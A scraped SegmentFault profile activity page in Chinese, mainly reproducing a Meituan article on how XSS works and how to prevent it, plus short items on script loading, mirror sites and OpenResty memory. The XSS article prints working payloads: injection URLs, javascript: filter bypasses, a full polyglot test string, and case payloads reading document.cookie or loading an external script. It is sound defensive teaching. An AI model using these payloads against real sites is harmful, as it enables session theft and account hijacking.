BBQ只有番薯

BBQ只有番薯 查看完整档案

广州编辑  |  填写毕业院校  |  填写所在公司/组织 segmentfault.com/u/bbqzhiyoufanshu 编辑
编辑
_ | |__ _ _ __ _ | '_ \| | | |/ _` | | |_) | |_| | (_| | |_.__/ \__,_|\__, | |___/ 该用户太懒什么也没留下

个人动态

BBQ只有番薯 赞了回答 · 9月23日

解决defer和async的区别

先来试个一句话解释仨,当浏览器碰到 script 脚本的时候:

  1. <script data-original="script.js"></script>

    没有 deferasync,浏览器会立即加载并执行指定的脚本,“立即”指的是在渲染该 script 标签之下的文档元素之前,也就是说不等待后续载入的文档元素,读到就加载并执行。

  2. <script async data-original="script.js"></script>

    async,加载和渲染后续文档元素的过程将和 script.js 的加载与执行并行进行(异步)。

  3. <script defer data-original="myscript.js"></script>

    defer,加载后续文档元素的过程将和 script.js 的加载并行进行(异步),但是 script.js 的执行要在所有元素解析完成之后,DOMContentLoaded 事件触发之前完成。

然后从实用角度来说呢,首先把所有脚本都丢到 </body> 之前是最佳实践,因为对于旧浏览器来说这是唯一的优化选择,此法可保证非脚本的其他一切元素能够以最快的速度得到加载和解析。

接着,我们来看一张图咯:

请输入图片描述

蓝色线代表网络读取,红色线代表执行时间,这俩都是针对脚本的;绿色线代表 HTML 解析。

此图告诉我们以下几个要点:

  1. deferasync 在网络读取(下载)这块儿是一样的,都是异步的(相较于 HTML 解析)
  2. 它俩的差别在于脚本下载完之后何时执行,显然 defer 是最接近我们对于应用脚本加载和执行的要求的
  3. 关于 defer,此图未尽之处在于它是按照加载顺序执行脚本的,这一点要善加利用
  4. async 则是一个乱序执行的主,反正对它来说脚本的加载和执行是紧紧挨着的,所以不管你声明的顺序如何,只要它加载完了就会立刻执行
  5. 仔细想想,async 对于应用脚本的用处不大,因为它完全不考虑依赖(哪怕是最低级的顺序执行),不过它对于那些可以不依赖任何脚本或不被任何脚本依赖的脚本来说却是非常合适的,最典型的例子:Google Analytics

关注 69 回答 6

BBQ只有番薯 赞了文章 · 9月2日

前端安全系列(一):如何防止XSS攻击?

前端安全

随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要前端技术人员不断进行“查漏补缺”。

近几年,美团业务高速发展,前端随之面临很多安全挑战,因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案,将会做成一个系列,希望可以帮助前端人员在日常开发中不断预防和修复安全漏洞。本文是该系列的第一篇。

本文我们会讲解 XSS ,主要包括:

  1. XSS 攻击的介绍
  2. XSS 攻击的分类
  3. XSS 攻击的预防和检测
  4. XSS 攻击的总结
  5. XSS 攻击案例

XSS 攻击的介绍

在开始本文之前,我们先提出一个问题,请判断以下两个说法是否正确:

  1. XSS 防范是后端 RD(研发人员)的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。
  2. 所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。

如果你还不能确定答案,那么可以带着这些问题向下看,我们将逐步拆解问题。

XSS 漏洞的发生和修复

XSS 攻击是页面被注入了恶意的代码,为了更形象的介绍,我们用发生在小明同学身边的事例来进行说明。

一个案例

某天,公司需要一个搜索页面,根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下:

<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
  您搜索的关键词是:<%= getParameter("keyword") %>
</div>

然而,在上线后不久,小明就接到了安全组发来的一个神秘链接:

http://xxx/search?keyword="><script>alert('XSS');</script>

小明带着一种不祥的预感点开了这个链接<span style="color:red">[请勿模仿,确认安全的链接才能点开]</span>。果然,页面中弹出了写着"XSS"的对话框。

可恶,中招了!小明眉头一皱,发现了其中的奥秘:

当浏览器请求 http://xxx/search?keyword="><script>alert('XSS');</script> 时,服务端会解析出请求参数 keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回给浏览器。形成了如下的 HTML:

<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
  您搜索的关键词是:"><script>alert('XSS');</script>
</div>

浏览器无法分辨出 <script>alert('XSS');</script> 是恶意代码,因而将其执行。

这里不仅仅 div 的内容被注入了,而且 input 的 value 属性也被注入, alert 会弹出两次。

面对这种情况,我们应该如何进行防范呢?

其实,这只是浏览器把用户的输入当成了脚本进行了执行。那么只要告诉浏览器这段内容是文本就可以了。

聪明的小明很快找到解决方法,把这个漏洞修复:

<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
<button>搜索</button>
<div>
  您搜索的关键词是:<%= escapeHTML(getParameter("keyword")) %>
</div>

escapeHTML() 按照如下规则进行转义:

字符转义后的字符
&&amp;
<&lt;
>&gt;
"&quot;
'&#x27;
/&#x2F;

经过了转义函数的处理后,最终浏览器接收到的响应为:

<input type="text" value="&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;">
<button>搜索</button>
<div>
  您搜索的关键词是:&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;
</div>

恶意代码都被转义,不再被浏览器执行,而且搜索词能够完美的在页面显示出来。

通过这个事件,小明学习到了如下知识:

  • 通常页面中包含的用户输入内容都在固定的容器或者属性内,以文本的形式展示。
  • 攻击者利用这些页面的用户输入片段,拼接特殊格式的字符串,突破原有位置的限制,形成了代码片段。
  • 攻击者通过在目标网站上注入脚本,使之在用户的浏览器上运行,从而引发潜在风险。
  • 通过 HTML 转义,可以防止 XSS 攻击。<span style="color:red">[事情当然没有这么简单啦!请继续往下看]</span>。

注意特殊的 HTML 属性、JavaScript API

自从上次事件之后,小明会小心的把插入到页面中的数据进行转义。而且他还发现了大部分模板都带有的转义配置,让所有插入到页面中的数据都默认进行转义。这样就不怕不小心漏掉未转义的变量啦,于是小明的工作又渐渐变得轻松起来。

但是,作为导演的我,不可能让小明这么简单、开心地改 Bug 。

不久,小明又收到安全组的神秘链接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,赶忙点开页面。然而,页面并没有自动弹出万恶的“XSS”。

小明打开对应页面的源码,发现有以下内容:

<a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳转...</a>

这段代码,当攻击 URL 为 http://xxx/?redirect_to=javascript:alert('XSS'),服务端响应就成了:

<a href="javascript:alert(&#x27;XSS&#x27;)">跳转...</a>

虽然代码不会立即执行,但一旦用户点击 a 标签时,浏览器会就会弹出“XSS”。

可恶,又失策了...

在这里,用户的数据并没有在位置上突破我们的限制,仍然是正确的 href 属性。但其内容并不是我们所预期的类型。

原来不仅仅是特殊字符,连 javascript: 这样的字符串如果出现在特定的位置也会引发 XSS 攻击。

小明眉头一皱,想到了解决办法:

// 禁止 URL 以 "javascript:" 开头
xss = getParameter("redirect_to").startsWith('javascript:');
if (!xss) {
  <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
    跳转...
  </a>
} else {
  <a href="/404">
    跳转...
  </a>
}

只要 URL 的开头不是 javascript:,就安全了吧?

安全组随手又扔了一个连接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')

这也能执行?.....好吧,浏览器就是这么强大。

小明欲哭无泪,在判断 URL 开头是否为 javascript: 时,先把用户输入转成了小写,然后再进行比对。

不过,所谓“道高一尺,魔高一丈”。面对小明的防护策略,安全组就构造了这样一个连接:

http://xxx/?redirect_to=%20javascript:alert('XSS')

%20javascript:alert('XSS') 经过 URL 解析后变成 javascript:alert('XSS'),这个字符串以空格开头。这样攻击者可以绕过后端的关键词规则,又成功的完成了注入。

最终,小明选择了白名单的方法,彻底解决了这个漏洞:

// 根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等
allowSchemes = ["http", "https"];

valid = isValid(getParameter("redirect_to"), allowSchemes);

if (valid) {
  <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
    跳转...
  </a>
} else {
  <a href="/404">
    跳转...
  </a>
}

通过这个事件,小明学习到了如下知识:

  • 做了 HTML 转义,并不等于高枕无忧。
  • 对于链接跳转,如 <a href="xxx"location.href="xxx",要检验其内容,禁止以 javascript: 开头的链接,和其他非法的 scheme。

根据上下文采用不同的转义规则

某天,小明为了加快网页的加载速度,把一个数据通过 JSON 的方式内联到 HTML 中:

<script>
var initData = <%= data.toJSON() %>
</script>

插入 JSON 的地方不能使用 escapeHTML(),因为转义 " 后,JSON 格式会被破坏。

但安全组又发现有漏洞,原来这样内联 JSON 也是不安全的:

  • 当 JSON 中包含 U+2028U+2029 这两个字符时,不能作为 JavaScript 的字面量使用,否则会抛出语法错误。
  • 当 JSON 中包含字符串 </script> 时,当前的 script 标签将会被闭合,后面的字符串内容浏览器会按照 HTML 进行解析;通过增加下一个 <script> 标签等方法就可以完成注入。

于是我们又要实现一个 escapeEmbedJSON() 函数,对内联 JSON 进行转义。

转义规则如下:

字符转义后的字符
U+2028\u2028
U+2029\u2029
<\u003c

修复后的代码如下:

<script>
var initData = <%= escapeEmbedJSON(data.toJSON()) %>

通过这个事件,小明学习到了如下知识:

  • HTML 转义是非常复杂的,在不同的情况下要采用不同的转义规则。如果采用了错误的转义规则,很有可能会埋下 XSS 隐患。
  • 应当尽量避免自己写转义库,而应当采用成熟的、业界通用的转义库。

漏洞总结

小明的例子讲完了,下面我们来系统的看下 XSS 有哪些注入的方法:

  • 在 HTML 中内嵌的文本中,恶意内容以 script 标签形成注入。
  • 在内联的 JavaScript 中,拼接的数据突破了原本的限制(字符串,变量,方法名等)。
  • 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签。
  • 在标签的 href、src 等属性中,包含 javascript: 等可执行代码。
  • 在 onload、onerror、onclick 等事件中,注入不受控制代码。
  • 在 style 属性和标签中,包含类似 background-image:url("javascript:..."); 的代码(新版本浏览器已经可以防范)。
  • 在 style 属性和标签中,包含类似 expression(...) 的 CSS 表达式代码(新版本浏览器已经可以防范)。

总之,如果开发者没有将用户输入的文本进行合适的过滤,就贸然插入到 HTML 中,这很容易造成注入漏洞。攻击者可以利用漏洞,构造出恶意的代码指令,进而利用恶意代码危害数据安全。

XSS 攻击的分类

通过上述几个例子,我们已经对 XSS 有了一些认识。

什么是 XSS

Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。

为了和 CSS 区分,这里把攻击的第一个字母改成了 X,于是叫做 XSS。

XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。

而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。

在部分情况下,由于输入的限制,注入的恶意脚本比较短。但可以通过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。

这里有一个问题:用户是通过哪种方法“注入”恶意脚本的呢?

不仅仅是业务上的“用户的 UGC 内容”可以进行注入,包括 URL 上的参数等都可以是攻击的来源。在处理输入时,以下内容都不可信:

  • 来自用户的 UGC 信息
  • 来自第三方的链接
  • URL 参数
  • POST 参数
  • Referer (可能来自不可信的来源)
  • Cookie (可能来自其他子域注入)

XSS 分类

根据攻击的来源,XSS 攻击可分为存储型、反射型和 DOM 型三种。

类型存储区*插入点*
存储型 XSS后端数据库HTML
反射型 XSSURLHTML
DOM 型 XSS后端数据库/前端存储/URL前端 JavaScript
  • 存储区:恶意代码存放的位置。
  • 插入点:由谁取得恶意代码,并插入到网页上。

存储型 XSS

存储型 XSS 的攻击步骤:

  1. 攻击者将恶意代码提交到目标网站的数据库中。
  2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

反射型 XSS

反射型 XSS 的攻击步骤:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。

由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。

DOM 型 XSS

DOM 型 XSS 的攻击步骤:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL。
  3. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

XSS 攻击的预防

通过前面的介绍可以得知,XSS 攻击有两大要素:

  1. 攻击者提交恶意代码。
  2. 浏览器执行恶意代码。

针对第一个要素:我们是否能够在用户输入的过程,过滤掉用户输入的恶意代码呢?

输入过滤

在用户提交时,由前端过滤输入,然后提交到后端。这样做是否可行呢?

答案是不可行。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。

那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢?

我们举一个例子,一个正常的用户输入了 5 < 7 这个内容,在写入数据库前,被转义,变成了 5 &lt; 7

问题是:在提交阶段,我们并不确定内容要输出到哪里。

这里的“并不确定内容要输出到哪里”有两层含义:

  1. 用户的输入内容可能同时提供给前端和客户端,而一旦经过了 escapeHTML(),客户端显示的内容就变成了乱码( 5 &lt; 7 )。
  2. 在前端中,不同的位置所需的编码也不同。

    • 5 &lt; 7 作为 HTML 拼接页面时,可以正常显示:

      <div title="comment">5 &lt; 7</div>
    • 5 &lt; 7 通过 Ajax 返回,然后赋值给 JavaScript 的变量时,前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示,也不能直接用于内容长度计算。不能用于标题、alert 等。

所以,输入侧过滤能够在某些情况下解决特定的 XSS 问题,但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。

当然,对于明确的输入类型,例如数字、URL、电话号码、邮件地址等等内容,进行输入过滤还是必要的。

既然输入过滤并非完全可靠,我们就要通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类:

  • 防止 HTML 中出现注入。
  • 防止 JavaScript 执行时,执行恶意代码。

预防存储型和反射型 XSS 攻击

存储型和反射型 XSS 都是在服务端取出恶意代码后,插入到响应 HTML 里的,攻击者刻意编写的“数据”被内嵌到“代码”中,被浏览器所执行。

预防这两种漏洞,有两种常见做法:

  • 改成纯前端渲染,把代码和数据分隔开。
  • 对 HTML 做充分转义。

纯前端渲染

纯前端渲染的过程:

  1. 浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。
  2. 然后浏览器执行 HTML 中的 JavaScript。
  3. JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。

在纯前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式(.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。

但纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,请参考下文”预防 DOM 型 XSS 攻击“部分)。

在很多内部、管理系统中,采用纯前端渲染是非常合适的。但对于性能要求高,或有 SEO 需求的页面,我们仍然要面对拼接 HTML 的问题。

转义 HTML

如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。

常用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义通常只有一个规则,就是把 & < > " ' / 这几个字符转义掉,确实能起到一定的 XSS 防护作用,但并不完善:

XSS 安全漏洞简单转义是否有防护作用
HTML 标签文字内容
HTML 属性值
CSS 内联样式
内联 JavaScript
内联 JSON
跳转链接

所以要完善 XSS 防护措施,我们要使用更完善更细致的转义策略。

例如 Java 工程里,常用的转义库为 org.owasp.encoder。以下代码引用自 org.owasp.encoder 的官方说明

<!-- HTML 标签内文字内容 -->
<div><%= Encode.forHtml(UNTRUSTED) %></div>

<!-- HTML 标签属性值 -->
<input value="<%= Encode.forHtml(UNTRUSTED) %>" />

<!-- CSS 属性值 -->
<div style="width:<= Encode.forCssString(UNTRUSTED) %>">

<!-- CSS URL -->
<div style="background:<= Encode.forCssUrl(UNTRUSTED) %>">

<!-- JavaScript 内联代码块 -->
<script>
  var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>";
  alert(msg);
</script>

<!-- JavaScript 内联代码块内嵌 JSON -->
<script>
var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>');
</script>

<!-- HTML 标签内联监听器 -->
<button
  onclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');">
  click me
</button>

<!-- URL 参数 -->
<a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top">

<!-- URL 路径 -->
<a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>">

<!--
  URL.
  注意:要根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等
-->
<a href='<%=
  urlValidator.isValid(UNTRUSTED) ?
    Encode.forHtml(UNTRUSTED) :
    "/404"
%>'>
  link
</a>

可见,HTML 的编码是十分复杂的,在不同的上下文里要使用相应的转义规则。

预防 DOM 型 XSS 攻击

DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。

在使用 .innerHTML.outerHTMLdocument.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent.setAttribute() 等。

如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTMLouterHTML 的 XSS 隐患。

DOM 中的内联事件监听器,如 locationonclickonerroronloadonmouseover 等,<a> 标签的 href 属性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。

<!-- 内联事件监听器中包含恶意代码 -->
<img onclick="UNTRUSTED" onerror="UNTRUSTED" data-original="data:image/png,">

<!-- 链接内包含恶意代码 -->
<a href="UNTRUSTED">1</a>

<script>
// setTimeout()/setInterval() 中调用恶意代码
setTimeout("UNTRUSTED")
setInterval("UNTRUSTED")

// location 调用恶意代码
location.href = 'UNTRUSTED'

// eval() 中调用恶意代码
eval("UNTRUSTED")
</script>

如果项目中有用到这些的话,一定要避免在字符串中拼接不可信数据。

其他 XSS 防范措施

虽然在渲染页面和执行 JavaScript 时,通过谨慎的转义可以防止 XSS 的发生,但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案,可以降低 XSS 带来的风险和后果。

Content Security Policy

严格的 CSP 在 XSS 的防范中可以起到以下的作用:

  • 禁止加载外域代码,防止复杂的攻击逻辑。
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
  • 合理使用上报可以及时发现 XSS,利于尽快修复问题。

关于 CSP 的详情,请关注前端安全系列后续的文章。

输入内容长度控制

对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。

其他安全措施

  • HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
  • 验证码:防止脚本冒充用户提交危险操作。

XSS 的检测

上述经历让小明收获颇丰,他也学会了如何去预防和修复 XSS 漏洞,在日常开发中也具备了相关的安全意识。但对于已经上线的代码,如何去检测其中有没有 XSS 漏洞呢?

经过一番搜索,小明找到了两个方法:

  1. 使用通用 XSS 攻击字符串手动检测 XSS 漏洞。
  2. 使用扫描工具自动检测 XSS 漏洞。

Unleashing an Ultimate XSS Polyglot一文中,小明发现了这么一个字符串:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()setTimeout()setInterval()Function()innerHTMLdocument.write() 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。

小明只要在网站的各输入框中提交这个字符串,或者把它拼接到 URL 参数上,就可以进行检测了。

http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E

除了手动检测之外,还可以使用自动扫描工具寻找 XSS 漏洞,例如 ArachniMozilla HTTP Observatoryw3af 等。

XSS 攻击的总结

我们回到最开始提出的问题,相信同学们已经有了答案:

  1. XSS 防范是后端 RD 的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。

    不正确。因为:

    • 防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS 攻击不发生在后端,是前端 RD 的责任。防范 XSS 是需要后端 RD 和前端 RD 共同参与的系统工程。
    • 转义应该在输出 HTML 时进行,而不是在提交用户输入时。
  2. 所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。

    不正确。
    不同的上下文,如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等,所需要的转义规则不一致。
    业务 RD 需要选取合适的转义库,并针对不同的上下文调用不同的转义规则。

整体的 XSS 防范是非常复杂和繁琐的,我们不仅需要在全部需要转义的位置,对数据进行对应的转义。而且要防止多余和错误的转义,避免正常的用户输入出现乱码。

虽然很难通过技术手段完全避免 XSS,但我们可以总结以下原则减少漏洞的产生:

  • 利用模板引擎
    开启模板引擎自带的 HTML 转义功能。例如:
    在 ejs 中,尽量使用 <%= data %> 而不是 <%- data %>
    在 doT.js 中,尽量使用 {{! data } 而不是 {{= data }
    在 FreeMarker 中,确保引擎版本高于 2.3.24,并且选择正确的 freemarker.core.OutputFormat
  • 避免内联事件
    尽量不要使用 onLoad="onload('{{data}}')"onClick="go('{{action}}')" 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。
  • 避免拼接 HTML
    前端采用拼接 HTML 的方法比较危险,如果框架允许,使用 createElementsetAttribute 之类的方法实现。或者采用比较成熟的渲染框架,如 Vue/React 等。
  • 时刻保持警惕
    在插入位置为 DOM 属性、链接等位置时,要打起精神,严加防范。
  • 增加攻击难度,降低攻击后果
    通过 CSP、输入长度配置、接口安全措施等方法,增加攻击的难度,降低攻击的后果。
  • 主动检测和发现
    可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。

XSS 攻击案例

QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞

攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uindomain 未经转义直接输出到 HTML 中。

于是攻击者构建出一个 URL,并引导用户去点击:
http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

用户点击这个 URL 时,服务端取出 URL 参数,拼接到 HTML 响应中:

<script>
getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...

浏览器接收到响应后就会执行 alert(document.cookie),攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安全。

新浪微博名人堂反射型 XSS 漏洞

攻击者发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。

于是攻击者构建出一个 URL,然后诱导用户去点击:

http://weibo.com/pub/star/g/xyyyd"><script data-original=//xxxx.cn/image/t.js></script>

用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:

<li><a href="http://weibo.com/pub/star/g/xyyyd"><script data-original=//xxxx.cn/image/t.js></script>">按分类检索</a></li>

浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫”。

扩展阅读:Automatic Context-Aware Escaping

上文我们说到:

  1. 合适的 HTML 转义可以有效避免 XSS 漏洞。
  2. 完善的转义库需要针对上下文制定多种规则,例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。
  3. 业务 RD 需要根据每个插入点所处的上下文,选取不同的转义规则。

通常,转义库是不能判断插入点上下文的(Not Context-Aware),实施转义规则的责任就落到了业务 RD 身上,需要每个业务 RD 都充分理解 XSS 的各种情况,并且需要保证每一个插入点使用了正确的转义规则。

这种机制工作量大,全靠人工保证,很容易造成 XSS 漏洞,安全人员也很难发现隐患。

2009年,Google 提出了一个概念叫做:Automatic Context-Aware Escaping

所谓 Context-Aware,就是说模板引擎在解析模板字符串的时候,就解析模板语法,分析出每个插入点所处的上下文,据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担,也减少了人为带来的疏漏。

在一个支持 Automatic Context-Aware Escaping 的模板引擎里,业务 RD 可以这样定义模板,而无需手动实施转义规则:

<html>
  <head>
    <meta charset="UTF-8">
    <title>{{.title}}</title>
  </head>
  <body>
    <a href="{{.url}}">{{.content}}</a>
  </body>
</html>

模板引擎经过解析后,得知三个插入点所处的上下文,自动选用相应的转义规则:

<html>
  <head>
    <meta charset="UTF-8">
    <title>{{.title | htmlescaper}}</title>
  </head>
  <body>
    <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a>
  </body>
</html>

目前已经支持 Automatic Context-Aware Escaping 的模板引擎有:

课后作业:XSS 攻击小游戏

以下是几个 XSS 攻击小游戏,开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入,完成 XSS 攻击即可通关。

在玩游戏的过程中,请各位读者仔细思考和回顾本文内容,加深对 XSS 攻击的理解。

alert(1) to win
prompt(1) to win
XSS game

参考文献

下期预告

前端安全系列文章将对 XSS、CSRF、网络劫持、Hybrid 安全等安全议题展开论述。下期我们要讨论的是 CSRF 攻击,敬请关注。

作者介绍

李阳,美团点评前端工程师。2016年加入美团点评,负责美团外卖 Hybrid 页面性能优化相关工作。

查看原文

赞 606 收藏 459 评论 16

BBQ只有番薯 赞了文章 · 8月30日

国内开源镜像站点汇总

编者:为给开发者们提供方便,我们收集了国内的开源站点,如果有错漏缺失之处,欢迎在文章下的评论中指出,我们会保持资料的更新!

公司类


大学类


PyPi 镜像

RubyGems 镜像

npm 镜像

cnpmjs:http://cnpmjs.org/


编辑整理:Segmentfault

查看原文

赞 34 收藏 84 评论 28

BBQ只有番薯 赞了文章 · 8月26日

OpenResty 和 Nginx 的共享内存区是如何消耗物理内存的

OpenResty 和 Nginx 服务器通常会配置共享内存区,用于储存在所有工作进程之间共享的数据。例如,Nginx 标准模块 ngx_http_limit_reqngx_http_limit_conn 使用共享内存区储存状态数据,以限制所有工作进程中的用户请求速率和用户请求的并发度。OpenResty 的 ngx_lua 模块通过 lua_shared_dict,向用户 Lua 代码提供基于共享内存的数据字典存储。

本文通过几个简单和独立的例子,探讨这些共享内存区如何使用物理内存资源(或 RAM)。我们还会探讨共享内存的使用率对系统层面的进程内存指标的影响,例如在 ps 等系统工具的结果中的 VSZRSS 等指标。

与本博客网站 中的几乎所有技术类文章类似,我们使用 OpenResty XRay 这款动态追踪产品对未经修改的 OpenResty 或 Nginx 服务器和应用的内部进行深度分析和可视化呈现。因为 OpenResty XRay 是一个非侵入性的分析平台,所以我们不需要对 OpenResty 或 Nginx 的目标进程做任何修改 -- 不需要代码注入,也不需要在目标进程中加载特殊插件或模块。这样可以保证我们通过 OpenResty XRay 分析工具所看到的目标进程内部状态,与没有观察者时的状态是完全一致的。

